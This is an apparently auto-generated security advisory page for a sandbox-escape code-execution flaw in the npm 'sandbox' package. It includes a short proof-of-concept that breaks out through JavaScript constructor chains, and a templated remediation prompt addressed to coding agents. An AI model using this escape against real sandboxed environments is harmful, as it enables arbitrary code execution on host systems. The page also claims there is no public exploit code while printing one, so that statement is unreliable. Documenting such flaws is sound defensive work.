# GHSA-fm4j-4xhm-xpwx: Sandbox Breakout / Arbitrary Code Execution in sandbox

> Attackers can execute arbitrary code by escaping the sandbox via insufficient input sanitization in the sandbox library.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 2 Sep 2020

## What is GHSA-fm4j-4xhm-xpwx?

GHSA-fm4j-4xhm-xpwx is a code injection vulnerability in sandbox, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

All versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

## Proof of concept
```
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
```

## Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

## Which versions are affected by GHSA-fm4j-4xhm-xpwx?

2 open source packages ship an affected version, including sandbox.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `sandbox` | npm | From 0.0.0 | None |
| `sandbox` | npm | From 0.0.0 | None |

## How do I fix GHSA-fm4j-4xhm-xpwx?

No fix has been published for GHSA-fm4j-4xhm-xpwx yet. Limit exposure of the affected software until one is available.

## Is GHSA-fm4j-4xhm-xpwx being exploited?

There is no known exploitation of GHSA-fm4j-4xhm-xpwx in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-fm4j-4xhm-xpwx and fix it if it is affected.

What it is: GHSA-fm4j-4xhm-xpwx is a code injection vulnerability in sandbox, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-fm4j-4xhm-xpwx in the wild and no public exploit code.

Affected packages and fixed versions:
- sandbox (npm): affected from 0.0.0; no fix listed
- sandbox (npm): affected from 0.0.0; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-fm4j-4xhm-xpwx/ (Markdown: https://insights.sbomify.com/GHSA-fm4j-4xhm-xpwx/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-fm4j-4xhm-xpwx

---
From sbomify Insights: https://insights.sbomify.com/GHSA-fm4j-4xhm-xpwx/
Summaries are generated and may contain mistakes; the official description above is the record.